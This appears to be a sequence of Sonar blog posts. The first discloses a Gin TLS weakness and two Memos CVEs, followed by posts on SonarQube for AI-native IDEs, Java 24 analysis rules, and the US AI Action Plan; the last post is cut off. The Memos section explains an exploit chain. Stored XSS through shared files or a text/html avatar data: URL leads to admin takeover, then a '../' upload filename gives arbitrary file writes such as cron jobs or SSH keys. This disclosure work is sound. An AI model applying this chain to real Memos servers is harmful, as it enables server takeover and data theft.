The stored XSS vulnerabilities enable a low-privileged user to inject JavaScript that, when executed in an admin's browser, can abuse admin privileges to escalate to full platform compromise.
Memos maintainers did not respond to responsible disclosure; Sonar published the findings under its 90-day disclosure policy, recommending organizations restrict Memos access to trusted users until a patch is available.

Go has become a language of choice for modern backend development, and its adoption in cloud-native and microservices architectures is growing rapidly. As Go's use grows, so does the demand for specialized security tools. That's why we at Sonar have enhanced our powerful static analysis engine to provide advanced security scanning for Go code.

Driven by our dedication to both open-source security and the advancement of our technology, we leverage the power of SonarQube Cloud to scan and identify potential vulnerabilities in popular open-source projects proactively. With the new Go analysis within our continuous scanning, we will demonstrate how SonarQube Cloud reports vulnerabilities in Go and take a deep dive into the technical details and impact of our findings.

Gin

Gin is one of the most popular web frameworks in Go. It features a fast and simple API, and according to the maintainers, its performance can be up to 40 times faster than other frameworks. With over 83k stars on GitHub, it's a huge part of the Go ecosystem. However, even the most widely used tools can have their weak spots. A vulnerability report from SonarQube Cloud pointed out a risk related to not enforcing TLS 1.2 or above. Let's take a closer look at this security concern and how to address it (RSPEC-4423):

Try it yourself on SonarQube Cloud

Gin under the hood relies on Go's standard net/http package to run its server. This is also the case when serving content over TLS, which is handled by the RunTLS function:

func (engine *Engine) RunTLS(addr, certFile, keyFile string) (err error) {
	debugPrint("Listening and serving HTTPS on %s\n", addr)
	defer func() { debugPrintError(err) }()
	if engine.isUnsafeTrustedProxies() {
		// ...
	}
	err = http.ListenAndServeTLS(addr, certFile, keyFile, engine.Handler())

	return
}

The issue here lies with Go versions prior to 1.22. The http.ListenAndServeTLS function in those versions doesn't automatically enforce a secure TLS configuration. By default, it accepts connections using TLS 1.0 and 1.1, both of which are now considered insecure and deprecated. This leaves applications using Gin in such a configuration vulnerable to well-known attacks like BREACH and BEAST, which can compromise the confidentiality of the connection and lead to data theft.

Patch

The Gin maintainers addressed this vulnerability in version 1.10.1 (b5af779). They patched the issue by configuring the server to use a minimum TLS version of 1.2. The fix was implemented by setting MinVersion: tls.VersionTLS12 in the server's configuration, ensuring that all connections meet modern security standards.

Memos

Memos stands out as a lightweight, open-source note-taking application that embraces simplicity. Built with Go and React, it is designed for seamless deployment and cross-platform accessibility. Memos allows users to effortlessly capture and organize their thoughts, ideas, and to-dos. Its straightforward design and self-hosting capabilities have resonated with many, which is evident by its impressive 40k+ stars on GitHub.

However, our recent security research has uncovered a serious issue. We've identified two critical vulnerabilities that, when chained together, could allow a low-privileged authenticated attacker to take complete control of a Memos server.

These vulnerabilities are:

CVE-2025-56761, Stored Cross-Site Scripting (XSS): We also discovered two stored XSS vulnerabilities. Allowing attackers to inject JavaScript code that, when executed by an administrator, could abuse the admin's privileges. This, in turn, could be used to update the instance configuration, allowing exploitation of the second Path Traversal vulnerability for a full server compromise.
CVE-2025-56760, Arbitrary File Write via Path Traversal: When Memos is configured to use local storage, a flaw in how it handles file paths allows an authenticated attacker to write arbitrary files to the server. This could be leveraged to achieve full remote code execution, giving them full control of the system.

Despite our best efforts to responsibly disclose and contact the maintainers, we unfortunately did not receive a response. In accordance with our 90-day disclosure policy, we are now making this information public to ensure user awareness. We strongly recommend that individuals and organizations deploying Memos be acutely aware and take immediate action. The most secure course is to restrict Memos access to trusted users only. This could help mitigate the immediate risks, but the long-term solution requires a patch from the maintainers or a transition to a more secure platform.

Technical Details

Path Traversal Vulnerability (CVE-2025-56760)

The core of this issue lies in the /memos.api.v1.ResourceService/CreateResource endpoint, which handles file uploads. While the function correctly checks if a user is authenticated, it doesn’t perform any further authorization checks. This means that any authenticated user, regardless of their role or privileges, can initiate a file upload.

user, err := s.GetCurrentUser(ctx)
if err != nil {
	return nil, status.Errorf(codes.Internal, "failed to get current user: %v", err)
}

The function then constructs a Resource object with the Filename, Type, and Blob fully taken from the request and calls the SaveResourceBlob function:

//...
create := &store.Resource{
	UID:       shortuuid.New(),
	CreatorID: user.ID,
	Filename:  request.Resource.Filename,
	Type:      request.Resource.Type,
}

//...

create.Size = int64(size)
create.Blob = request.Resource.Content
if err := SaveResourceBlob(ctx, s.Store, create); err != nil {
	return nil, status.Errorf(codes.Internal, "failed to save resource blob: %v", err)
}

The vulnerability exists within the SaveResourceBlob function. We can see that one of the user-controlled inputs is passed into a filepathTemplate, which is then used to create a file.

func SaveResourceBlob(ctx context.Context, s *store.Store, create *store.Resource) error {

	workspaceStorageSetting, err := s.GetWorkspaceStorageSetting(ctx)
	if err != nil {
		return errors.Wrap(err, "Failed to find workspace storage setting")
	}

	if workspaceStorageSetting.StorageType == storepb.WorkspaceStorageSetting_LOCAL {
		filepathTemplate := "assets/{timestamp}_{filename}"
		if workspaceStorageSetting.FilepathTemplate != "" {
			filepathTemplate = workspaceStorageSetting.FilepathTemplate
		}

		internalPath := filepathTemplate
		if !strings.Contains(internalPath, "{filename}") {
			internalPath = filepath.Join(internalPath, "{filename}")
		}

		internalPath = replaceFilenameWithPathTemplate(internalPath, create.Filename)
		internalPath = filepath.ToSlash(internalPath)
		osPath := filepath.FromSlash(internalPath)

		//...

		// Write the blob to the file.
		if err := os.WriteFile(osPath, create.Blob, 0644); err != nil {
			return errors.Wrap(err, "Failed to write file")
		}
		//...

However, there is a small if condition before going into the vulnerable path. This is where the prerequisite of this vulnerability takes place. But what is workspaceStorageSetting, and when is it equal to WorkspaceStorageSetting_LOCAL?

For privacy reasons, memos provides a feature to store objects locally instead of in a database or S3.

When a user uploads a file on a Memos instance using this configuration, it will be saved under the bin/memos/assets folder using the default {timestamp}_{filename} filename template. While this is configurable in the settings, the only field that is fully user-controlled is {filename}. This is in the template by default and is replaced in the function replaceFilenameWithPathTemplate.

An authenticated attacker can leverage this to create a resource with a filename containing a path traversal sequence ../ and traverse back from the intended assets folder. Since the file's content is also controlled by the attacker, this grants a powerful arbitrary file write primitive.

The severity of this flaw is significant. It could lead to remote code execution by allowing an attacker to write files that the server executes, such as cron jobs or malicious scripts. They could also overwrite crucial application configurations or modify SSH keys for a full server compromise.

Stored Cross-Site Scripting (XSS) Vulnerability (CVE-2025-56761)

But what if the workspaceStorageSetting isn’t configured to store files locally? In this case, an attacker can use the built-in feature to share files. Since the user-controlled files are served under the same domain without any restriction/sandboxing.

When the administrator views this file, the XSS payload executes, potentially allowing the attacker to steal the admin's session or escalate their privileges. With administrative access, the attacker can then change the workspaceStorageSetting to LOCAL, opening the door to the Path Traversal vulnerability and leading to a full server compromise.

Furthermore, we found another path for XSS through the user avatar functionality. When a user updates their avatar via the UpdateUser endpoint, Memos accepts a data: URL.

func (s *APIV1Service) UpdateUser(ctx context.Context, request *v1pb.UpdateUserRequest) (*v1pb.User, error) {
	//...
	update := &store.UpdateUser{
		ID:        user.ID,
		UpdatedTs: &currentTs,
	}
	for _, field := range request.UpdateMask.Paths {
		//...
		} else if field == "avatar_url" {
			update.AvatarURL = &request.User.AvatarUrl
updatedUser, err := s.Store.UpdateUser(ctx, update)

When the avatar is later requested, Memos serves its content via the GetUserAvatarBinary function:

func (s *APIV1Service) GetUserAvatarBinary(ctx context.Context, request *v1pb.GetUserAvatarBinaryRequest) (*httpbody.HttpBody, error) {
	//...
	user, err := s.Store.GetUser(ctx, &store.FindUser{
		ID: &userID,
	})
	//...
	imageType, base64Data, err := extractImageInfo(user.AvatarURL)
	//...
	imageData, err := base64.StdEncoding.DecodeString(base64Data)
	//...
	httpBody := &httpbody.HttpBody{
		ContentType: imageType,
		Data:        imageData,
	}
	return httpBody, nil
}

Which extracts the image data using extractImageInfo function. By parsing the provided data URL, Memos extracts both the content and the content-type provided by the user.

func extractImageInfo(dataURI string) (string, string, error) {
	dataURIRegex := regexp.MustCompile(`^data:(?P<type>.+);base64,(?P<base64>.+)`)
	matches := dataURIRegex.FindStringSubmatch(dataURI)
	if len(matches) != 3 {
		return "", "", errors.New("Invalid data URI format")
	}
	imageType := matches[1]
	base64Data := matches[2]
	return imageType, base64Data, nil
}

Since the application doesn't validate that the content is a legitimate image, an attacker can specify a text/html content type and embed a malicious script. This script will execute when the avatar is displayed to other users, creating another avenue for Stored XSS.

Patch

Despite our best efforts to responsibly disclose and contact the maintainers, we unfortunately did not receive a response. In accordance with our 90-day disclosure policy, we are now making this information public to ensure user awareness. We strongly recommend that individuals and organizations deploying Memos be acutely aware and take immediate action. The most secure course is to restrict Memos access to trusted users only, this could help mitigate the immediate risks, but the long-term solution requires a patch from the maintainers or a transition to a more secure platform.

Timeline

Date	Action
2025-02-11	We report all issues to Memos
2025-03-13	We ping Memos, mentioning that 30 days have passed
2025-03-17	We report our findings to Gin
2025-04-11	We ping Memos, mentioning that 60 days have passed
2025-05-07	We open a security advisory on GitHub
2025-05-19	We ping Gin’s maintainers
2025-05-20	Gin’s maintainers acknowledge our report and fix the issue
2025-05-12	We notify Memos that our 90-day disclosure window has elapsed and that we will be releasing the information to the public
2025-09-02	CVE-2025-56760 and CVE-2025-56761 are assigned

Summary

Our security research into popular Go projects has revealed critical vulnerabilities that highlight the continuous importance of rigorous security analysis in open-source projects. Leveraging the power of SonarQube's static analysis capabilities, developers can easily detect and mitigate such vulnerabilities during the development process. This proactive approach is crucial, as even the most widely used and trusted tools can contain hidden flaws.

In the case of the Gin framework, we identified a weakness in its default configuration for serving TLS. This issue, while now patched by the maintainers, serves as a powerful reminder that even foundational components require careful scrutiny to prevent exposure to known cryptographic attacks.

Meanwhile, our investigation into the Memos uncovered a more severe threat landscape. We found critical vulnerabilities that could allow an authenticated attacker to achieve full server compromise. Despite our attempts to responsibly disclose these findings to the maintainers, we did not receive a response. In accordance with our disclosure policy, we are making this information public to ensure that users are aware of the risks.

SonarQube IDE: Announcing support for AI-Native IDEs

Manish Kapur — Tue, 05 Aug 2025 14:00:00 GMT

TL;DR overview

SonarQube for IDE now supports AI-native development environments including Cursor, Windsurf, and Amazon's Kiro IDE, bringing real-time static analysis into the agentic coding tools developers are increasingly adopting.
Installation follows the same VS Code-compatible extension flow used for standard VS Code, and Connected Mode links the extension to SonarQube Cloud or SonarQube Server to enforce team-wide quality profiles on AI-generated code.
AI-native IDE integration enables a vibe-then-verify workflow where developers can generate code with AI assistance and immediately see quality and security feedback inline, without leaving their coding environment.
Supporting AI-native IDEs is part of Sonar's broader strategy to ensure that SonarQube remains the verification layer for all code—whether human-written, AI-generated, or produced by autonomous agents.

The next wave of the AI coding revolution is here. A new class of agentic Integrated Development Environments (IDEs) is supercharging developer productivity, but with this great power comes a new challenge: ensuring the quality and security of AI-generated code. As development velocity accelerates, so does the potential for introducing subtle bugs and new security vulnerabilities.

How do you embrace the speed of AI without sacrificing code quality and code security standards?

Sonar provides developer-first code quality and security solutions that are integrated into the developer workflow from IDE to C/CD. The SonarQube for IDE plugin now offers full, first-class support for the new wave of AI-native editors, including Cursor, Windsurf, and Trae, alongside our existing support for VS Code and IntelliJ.

This expansion ensures that all code, whether human-written, AI-assisted, or fully AI-generated, can meet a consistent standard of quality and security, directly within your development environment. When AI is the environment, an impartial analyzer like SonarQube for IDE becomes the indispensable source of truth, allowing you to code with confidence at the speed of AI.

Understanding the AI-native IDE landscape

To appreciate the significance of this expanded support, it is essential to understand the unique philosophies and capabilities of these new AI-native IDEs. These are not simply text editors with a chat window tacked on. They are sophisticated environments engineered from the ground up to facilitate a new kind of human-AI collaboration. They are designed to understand the entire context of a codebase, perform complex, multi-file operations, and automate mundane tasks to keep developers in a “flow state.”

While these tools share a common goal of boosting developer productivity, they approach it with distinct strategies, reflecting different visions for the future of software development.

Meet the innovators: A comparative look

A new generation of IDEs has emerged, weaving AI into the fabric of the development environment. Each offers a unique philosophy for human-AI collaboration:

Cursor: Acts as a responsive partner with codebase-aware chat and natural language editing, designed to make developers extraordinarily productive.
Windsurf: Functions like a project delegate, autonomously handling complex, multi-file tasks with its “Cascade” feature that thinks ten steps ahead.
Trae: Operates like a careful engineer, using its “Builder Mode” to present a transparent plan of changes before executing them, giving developers maximum control.

Whether your AI assistant is interactive, autonomous, or methodical, SonarQube provides the universal standard for code quality and code security—no matter how your code is created.

The common thread: A foundation on VS Code

A key reason for the rapid adoption of AI IDEs like Cursor, Windsurf, and Trae is their shared foundation: they are all forks of Visual Studio Code (or VS Code). This gives developers an instantly familiar experience but also means these tools are evolving at a breakneck pace on a complex codebase, which can introduce instability and risk.

SonarQube acts as the vital stabilizing force in this dynamic ecosystem. By providing a consistent and reliable layer for quality and security analysis, SonarQube allows you to confidently adopt these powerful new tools, knowing your code is always held to the highest standard, regardless of how fast the IDE itself is changing.

The following table provides a snapshot of this new landscape and highlights SonarQube's unifying role.

Feature	Cursor	Windsurf	Trae	SonarQube for IDE support
Core concept	AI-first code editor	Agentic IDE	Adaptive AI IDE	Consistent quality & security
Key AI feature	Codebase-aware chat & “Tab-to-complete” inline edits	“Cascade” multi-file agent	“Builder Mode” for planned execution	Real-time issue detection & AI CodeFix
Foundation	VS Code Fork	VS Code Fork	VS Code Fork	Open source, with native integration via Marketplace
Primary benefit	Intuitive, fast refactoring and generation	Autonomous, project-wide task completion	Methodical, reliable, and free code generation	Enforces team quality and security standards on all code

Getting started: Integrating SonarQube into your AI-powered workflow

Embracing this new, more powerful workflow is remarkably straightforward. Because Cursor, Windsurf, and Trae are built upon the VS Code foundation, the integration process is simple, unified, and leverages the official Visual Studio Code Marketplace and its equivalents like OpenVSX.

To help you get started immediately, we have prepared step-by-step guides for each of these innovative IDEs.

SonarQube for Cursor: Your AI pair programmer's companion

Cursor’s incredible “tab-to-complete” and natural language editing can feel like magic. With SonarQube's Connected Mode, you can ensure that this magic adheres to your team’s highest standards for quality and security. Follow our guide to get set up in minutes and bring code quality & code security principles to every AI-assisted interaction.

Read the full guide: How to set up SonarQube IDE Extension for Cursor AI Code Editor

SonarQube for Windsurf: Keeping your agentic flow clean and secure

Windsurf’s Cascade agent can autonomously refactor entire features across your codebase. SonarQube provides the critical safety net, validating every change against your quality gate to prevent agentic drift and ensure that autonomous work remains high-quality work. Learn how to connect SonarQube and let your agent code with confidence.

SonarQube for Trae: Ensuring quality from your real AI engineer

Trae’s methodical builder mode and powerful free models are changing the game. By integrating SonarQube, you add an essential layer of automated review to its planned changes, ensuring every step is a step towards cleaner, more secure code. Our guide will show you how to establish this vital connection.

A future-proof foundation for AI-driven development

The future of software is a partnership between human developers and artificial intelligence. For this partnership to succeed, it needs a shared playbook that defines what constitutes good code.

SonarQube provides that playbook with a consistent and impartial analysis that enforces timeless standards for quality and security on all code, whether human or AI-generated.

We are not a barrier to innovation—we are an enabler. By providing a consistent standard for code quality and code security, SonarQube gives your team the confidence to adopt powerful AI tools like Cursor, Windsurf, and Trae without sacrificing quality or security. While AI models evolve, the principles of quality, reliable, maintainable & secure code are timeless. SonarQube acts as the stable steward for these principles in a sea of change.

Ready to build the future with confidence? Install the SonarQube for IDE plugin from your IDE’s marketplace today and share your feedback with us in the Sonar Community.

Java24: Go deeper on parsing Java class files and broader with Stream gatherers

Jonathan Vila Lopez — Tue, 05 Aug 2025 13:00:00 GMT

TL;DR overview

Java 24 introduces a new class file API (JEP 457) that provides a standard, structured way to parse and generate Java class files, replacing ad-hoc bytecode manipulation libraries like ASM.
The new API simplifies tools that work with bytecode—including compilers, analyzers, and instrumentation agents—by offering a type-safe, composable model of the class file format.
For static analysis tools like Sonar, the class file API improves the reliability and maintainability of bytecode-level analysis, enabling more precise handling of generated or obfuscated code.
Java developers building compiler plugins, agents, or instrumentation tools should evaluate the new class file API as a replacement for third-party bytecode libraries when targeting Java 24+.

This is part three of our series on the latest Java features, and the new rules available in SonarQube to help check for the proper usage of Class-file new API and Stream gatherers, ensuring your code adheres to best practices and avoids common pitfalls.

We’ve explored Java 22 and 23, and are finishing up with Java 24. Version 24 version introduces several new language features which collectively simplify code, and provide powerful tools for bytecode manipulation and advanced stream processing. Read on to learn how to leverage these new features with simple examples.

What are Class-File APIs?

Java 24 introduces the Class-File API (JEP 457), a significant enhancement for parsing, generating, and transforming Java class files. This API provides a programmatic way to work with class files at a low level, offering more flexibility and control than existing bytecode manipulation libraries. It's particularly beneficial for tools that perform static analysis, bytecode instrumentation, or code generation, enabling them to operate directly on the structured representation of class files. By standardizing this access, the Class-File API simplifies development for such tools and ensures greater compatibility across different Java versions.

SonarQube provides a new set of rules to help developers effectively utilize the Class-File API. These rules — including S7479, S7477, and S7478 — are designed to ensure that you use the API efficiently and correctly, leading to more concise, readable, and maintainable bytecode generation and transformation code. Adhering to these guidelines helps developers avoid common pitfalls and leverage the full potential of Java 24's Class-File API.

Rule S7479: withMethodBody should be used to define methods with a body

The new Class-File API (JEP 484) provides a standardized and flexible way to programmatically generate and modify Java class files. When building a class, the ClassBuilder API offers two similar methods for adding a method: withMethod and withMethodBody.

While both can achieve the same result, withMethod is a general-purpose tool that requires an extra step to define the method's code via a nested methodBuilder. For the common case of defining a non-abstract method with a body, the withMethodBody method is a more direct and efficient choice. It reduces boilerplate code, lowers cognitive complexity by removing a layer of nesting, and ultimately improves the maintainability of your class-generation code.

This rule encourages replacing withMethod with its more concise counterpart, withMethodBody, whenever you are defining a method that has a concrete implementation.

Noncompliant Code Example:

ClassBuilder addMethod(ClassBuilder builder) {

    return builder

        .withMethod("foo", MTD_void, ACC_PUBLIC | ACC_STATIC, methodBuilder -> { // Noncompliant

            methodBuilder.withCode(codeBuilder ->

                codeBuilder.getstatic(ClassDesc.of("java.lang.System"), "out", ClassDesc.of("java.io.PrintStream"))

                    .ldc("Hello World")

                    .invokevirtual(ClassDesc.of("java.io.PrintStream"), "println", MTD_void)

                    .return_()

            );

        });

}

This code uses withMethod, which introduces a methodBuilder. This then requires a call to withCode and an additional nested lambda (codeBuilder -> ...) just to define the method's body, making the code unnecessarily verbose.

Compliant Solution:

ClassBuilder addMethod(ClassBuilder builder) {

    return builder

        .withMethodBody("foo", MTD_void, ACC_PUBLIC | ACC_STATIC, codeBuilder ->

            codeBuilder.getstatic(ClassDesc.of("java.lang.System"), "out", ClassDesc.of("java.io.PrintStream"))

                .ldc("Hello World")

                .invokevirtual(ClassDesc.of("java.io.PrintStream"), "println", MTD_void)

                .return_()

        );

}

The compliant solution uses withMethodBody, which directly accepts the code-building lambda. This removes the intermediate methodBuilder, resulting in flatter, more readable, and more maintainable code that clearly expresses the intent of defining a method and its body in a single, streamlined operation.

Rule S7477: The simpler transformClass overload should be used when the class name is unchanged

The Class-File API, introduced in Java via JEP 484, provides powerful methods for transforming class files. Among these is the transformClass method, which comes in several overloaded versions to handle different use cases.

A common scenario is transforming a class without changing its name. For this specific situation, the API provides a concise two-argument version of transformClass. Using the more complex, three-argument overload and manually passing the original class name is unnecessary.

This rule encourages using the simplest possible API to make code shorter, clearer, and less prone to error. By choosing the correct transformClass overload, you explicitly signal that the class is not being renamed, which improves the overall readability and maintainability of the code.

Noncompliant Code Example:

public static void transformClassFile(Path path) throws IOException {

    ClassFile classFile = ClassFile.of();

    ClassModel classModel = classFile.parse(path);

    byte[] newBytes = classFile.transformClass(classModel,

      classModel.thisClass().asSymbol(), // Noncompliant: This argument is redundant

      (classBuilder, classElement) -> {

        if (!(classElement instanceof MethodModel methodModel &&

            methodModel.methodName().stringValue().startsWith("debug"))) {

            classBuilder.with(classElement);

        }

      });

}

In this example, the class name is explicitly passed to transformClass, even though it remains unchanged. This adds unnecessary code and can make the transformation's intent harder to grasp at a glance.

Compliant Solution:

public static void transformClassFile(Path path) throws IOException {

    ClassFile classFile = ClassFile.of();

    ClassModel classModel = classFile.parse(path);

    byte[] newBytes = classFile.transformClass(classModel,

      (classBuilder, classElement) -> {

        if (!(classElement instanceof MethodModel methodModel &&

            methodModel.methodName().stringValue().startsWith("debug"))) {

            classBuilder.with(classElement);

        }

      });

}

The compliant solution uses the simpler, two-argument overload of transformClass. By removing the redundant class name parameter, the code becomes more direct and effectively communicates that the transformation modifies the class in place without renaming it.

Rule S7478: transformClass should be used to modify existing classes

The Class-File API (JEP 484) provides developers with two primary methods for generating class files: build and transformClass. While build is a general-purpose tool for creating a class from scratch, transformClass is specifically designed for the common task of modifying an existing class.

A frequent pattern in bytecode manipulation is to parse a class, iterate through its elements (like methods or fields), and write a new version with some elements removed or altered. Implementing this pattern with build requires manually iterating over the original class's elements and adding them one by one to a new ClassBuilder. This approach is verbose and full of boilerplate code that obscures the core transformation logic.

This rule encourages using the transformClass method for such tasks. It abstracts away the manual iteration, leading to code that is more declarative, easier to read, and clearly expresses the intent of transforming an existing class model.

Noncompliant Code Example:

public static void transformClassFile(Path path) throws IOException {

  ClassFile classFile = ClassFile.of();

  ClassModel classModel = classFile.parse(path);

  byte[] newBytes = classFile.build( // Noncompliant

    classModel.thisClass().asSymbol(), classBuilder -> {

        // Manual iteration over class elements is boilerplate

        for (ClassElement classElement : classModel) {

          if (!(classElement instanceof MethodModel methodModel &&

              methodModel.methodName().stringValue().startsWith("debug"))) {

            classBuilder.with(classElement);

          }

        }

    });

  Files.write(path, newBytes);

}

This code manually rebuilds the class using build, requiring an explicit loop to copy over the elements that are being kept. This boilerplate distracts from the actual goal: filtering out debug methods.

Compliant Solution:

public static void transformClassFile(Path path) throws IOException {

  ClassFile classFile = ClassFile.of();

  ClassModel classModel = classFile.parse(path);

  byte[] newBytes = classFile.transformClass(

    classModel, (classBuilder, classElement) -> {

      // The transform is applied to each element, no manual loop needed

      if (!(classElement instanceof MethodModel methodModel &&

            methodModel.methodName().stringValue().startsWith("debug"))) {

          classBuilder.with(classElement);

        }

      });

  Files.write(path, newBytes);

}

The compliant solution uses transformClass, which handles the iteration implicitly. The provided lambda is applied to each ClassElement, allowing the developer to focus solely on the transformation logic. The resulting code is more concise, readable, and less error-prone.

Stream Gatherers

Java 24 also introduces Stream Gatherers (JEP 461), a new feature designed to enhance the Stream API by allowing for custom intermediate stream operations. Unlike existing `map`, `filter`, or `reduce` operations, Gatherers enable more complex, stateful, and flexible transformations of stream elements. This allows developers to implement operations like grouping, windowing, or de-duplication directly within the stream pipeline, leading to more expressive, efficient, and readable code for advanced data processing scenarios.

SonarQube continues its commitment to code quality by introducing new rules specifically for Java 24's Stream Gatherers. These rules — including S7481, S7482 and S7629 — are designed to guide developers in effectively leveraging this powerful new Stream API feature. They ensure that your custom intermediate stream operations are implemented efficiently and clearly, promoting best practices and helping to avoid common pitfalls associated with stateful and stateless gatherers, leading to more robust and readable stream pipelines.

Rule S7481: Sequential gatherers should use Gatherer.ofSequential

The introduction of Stream Gatherers (JEP 461) in Java provides a powerful way to create custom intermediate operations in stream pipelines. When creating a gatherer, the API offers two main factories: Gatherer.of(...) for gatherers that can be used in both sequential and parallel streams, and Gatherer.ofSequential(...) for those designed exclusively for sequential processing.

A common pattern for a sequential-only gatherer is to provide a combiner function—the third argument in Gatherer.of(...)—that simply throws an exception, as it's never expected to be called. This, however, is a signal that the gatherer is not truly parallel-capable.

This rule helps improve code clarity by guiding you to use the more specific Gatherer.ofSequential(...) factory in these cases. Doing so makes the intended processing model explicit, removes the need for a dummy or throwing combiner, and makes the code cleaner and easier to understand.

Noncompliant Code Example:

public static List<Integer> diffWithFirstPositive(List<Integer> list) {

  Gatherer<Integer, AtomicInteger, Integer> gatherer = Gatherer.of(

    () -> new AtomicInteger(-1),

    (state, number, downstream) -> {

      if (state.get() < 0) {

        state.set(number);

        return true;

      }

      return downstream.push(number - state.get());

    },

    (_, _) -> { // The combiner is never meant to be called

      throw new IllegalStateException();

    },

    Gatherer.defaultFinisher());

  return list.stream().gather(gatherer).toList();

}

In this code, the presence of a combiner that unconditionally throws an IllegalStateException is a clear indicator that the gatherer cannot function in a parallel stream.

Compliant Solution:

public static List<Integer> diffWithFirstPositive(List<Integer> list) {

  Gatherer<Integer, AtomicInteger, Integer> gatherer = Gatherer.ofSequential(

    () -> new AtomicInteger(-1),

    (state, number, downstream) -> {

      if (state.get() < 0) {

        state.set(number);

        return true;

      }

      return downstream.push(number - state.get());

    },

    Gatherer.defaultFinisher());

  return list.stream().gather(gatherer).toList();

}

By switching to Gatherer.ofSequential, the code becomes more obvious about its intent. It clearly communicates that the operation is sequential-only and eliminates the unnecessary and misleading throwing combiner, resulting in a cleaner implementation.

Rule S7482: Stateless gatherers should be created without a null initializer

Stream Gatherers can be either stateful—maintaining a state across elements—or stateless, processing each element independently. For stateless gatherers, there is no need to initialize a state object. The java.util.stream.Gatherer API reflects this distinction by providing overloaded factory methods, including versions that do not take an initializer function.

When creating a stateless gatherer, it is a common mistake to use a factory method that requires an initializer and simply provide a dummy one, such as () -> null. This practice, while functional, makes the code less clear and fails to communicate the gatherer's stateless nature effectively.

This rule encourages the use of the correct factory method for stateless gatherers. By choosing the factory that omits the initializer, you make the stateless design explicit and your code more concise and readable.

Noncompliant Code Example:

private static Gatherer inRange(int start, int end) {

    return Gatherer.<Integer, Void, Integer>ofSequential(

      () -> null, // Noncompliant: unnecessary initializer for a stateless gatherer

      (_, element, downstream) -> {

        if (element >= start && element <= end)

          return downstream.push(element - start);

        return !downstream.isRejecting();

      },

      (_, downstream) -> downstream.push(-1)

    );

}

Here, the () -> null initializer serves no purpose other than to satisfy the signature of the factory method. This adds unnecessary boilerplate and obscures the fact that the operation does not depend on a state.

Compliant Solution:

private static Gatherer inRange(int start, int end) {

    return Gatherer.<Integer, Integer>ofSequential(

      (_, element, downstream) -> {

        if (element >= start && element <= end)

          return downstream.push(element - start);

        return !downstream.isRejecting();

      },

      (_, downstream) -> downstream.push(-1)

    );

}

The compliant solution uses the appropriate Gatherer.ofSequential overload that does not require an initializer. This removes the redundant code and clearly signals to anyone reading it that the gatherer is stateless by design.

Rule S7629: When a defaultFinisher is passed to a Gatherer factory, use the overload that does not take a finisher

The java.util.stream.Gatherer API, used for creating custom stream operations, provides overloaded factory methods like of(...) and ofSequential(...). Some of these overloads accept a finisher function to perform a final action after all elements have been processed.

However, the API also provides a Gatherer.defaultFinisher(), which does nothing. Passing this default finisher to a factory method is redundant and adds unnecessary boilerplate to the code. Using the simpler overload of the factory method that does not take a finisher at all achieves the same result while more clearly communicating that no special finishing action is needed.

This rule helps you write more concise code by flagging the unnecessary use of Gatherer.defaultFinisher().

Noncompliant Code Example:

Gatherer<Integer, AtomicInteger, Integer> gatherer = Gatherer.ofSequential(

  () -> new AtomicInteger(-1),

  (state, number, downstream) -> {

    if (state.get() < 0) {

      state.set(number);

      return true;

    }

    return downstream.push(number - state.get());

  },

  Gatherer.defaultFinisher()); // Noncompliant: this finisher is useless

In this code, Gatherer.defaultFinisher() is explicitly passed, making the code more verbose than necessary for no additional benefit.

Compliant Solution :

Gatherer<Integer, AtomicInteger, Integer> gatherer = Gatherer.ofSequential(

  () -> new AtomicInteger(-1),

  (state, number, downstream) -> {

    if (state.get() < 0) {

      state.set(number);

      return true;

    }

    return downstream.push(number - state.get());

  }); // Compliant

The compliant solution removes the default finisher and calls the simpler overload of Gatherer.ofSequential. The functionality is identical, but the code intent—that no special finisher is required—is perfectly clear.

How Java 24 and SonarQube work together

By embracing the new features in Java 24—such as the Class-File API, and Stream Gatherers—developers can write more efficient, and more maintainable code resulting in a higher-quality code. However, staying abreast of these evolving language enhancements and consistently applying best practices can be challenging.

This is where tools like SonarQube, become invaluable. They provide automated checks that help ensure your code not only leverages these modern features correctly but also adheres to high-quality standards, ultimately improving code clarity and overall project quality.

Sonar's Take: Software Development Under America's AI Action Plan

Nathan Jones — Mon, 04 Aug 2025 13:00:00 GMT

TL;DR overview

Sonar shares its perspective on software development in the context of America's AI Action Plan, arguing that code quality and security verification are essential infrastructure for responsible AI adoption in enterprise and government software development.
AI coding assistants are accelerating code generation, but automated verification tools like SonarQube are needed to ensure AI-generated code meets the security and reliability standards required for critical systems.
Sonar advocates for embedding automated code review and quality gates into AI-assisted development workflows as a foundational practice—aligning with the AI Action Plan's goals of ensuring AI is used safely and beneficially.
SonarQube's ability to analyze over 750 billion lines of code daily positions it as a scalable verification layer for organizations looking to maximize the productivity benefits of AI while maintaining security posture.

The White House has officially launched “America's AI Action Plan,” designed to accelerate AI innovation across the country. The intent of the plan has been described as ‘empowering the private sector, removing regulatory hurdles, and solidifying the U.S. as a global leader in artificial intelligence.’

The ambition to foster a "try-first culture," as highlighted in Pillar I under the Enable AI Adoption section, signals to developers the opportunity to innovate with AI, build faster, and solve more complex problems than ever before.

For software development, however, moving fast cannot mean breaking things, or removing all oversight, especially when it comes to the code that powers our world. We believe the key to successful AI adoption lies in a "trust and verify" approach, ensuring that the code we build with AI is secure, robust, and high-quality from the start.

Accelerating innovation with open access and a 'try-first' culture

To accelerate innovation, the plan champions two intertwined strategies: supporting open source/open-weight AI and enabling broad AI adoption through a "try-first" culture. These strategies work in tandem to expand the use of AI in invaluable ways.

We at Sonar particularly applaud the administration for promoting open source software (OSS) and lowering the barrier for the adoption of AI in the government. Our own journey, rooted in open source, has led to our community and commercial SonarQube platform being widely adopted across the Federal Government. Today, our tools are used by hundreds of federal agencies, powering critical projects across civilian, defense, and intelligence communities. The plan’s emphasis on simplified regulations and procurement will be crucial in accelerating access to innovative technology.

The plan puts action behind its words by calling for the creation of "regulatory sandboxes" and "AI Centers of Excellence." These initiatives are designed to give developers and businesses safe, secure space for the rapid deployment and testing of new AI tools, helping significantly lower the barrier to entry for innovation.

This accelerated, open environment is exactly what the community needs to push boundaries. However, as more developers use AI tools (both open source and proprietary) to generate code, the responsibility to verify the output grows exponentially. A "try-first" culture must be built on a foundation of verification, and the plan acknowledges this through several of the outlined initiatives such as “AI Interpretability, Control, and Robustness Breakthroughs,” and “Build an AI Evaluations Ecosystem.” Verifying AI is essential for accelerating its safe adoption. This principle is the foundation of a "trust and verify" model, a practical framework for harnessing AI's power responsibly.

"Secure-by-Design": extending security from the model to the code

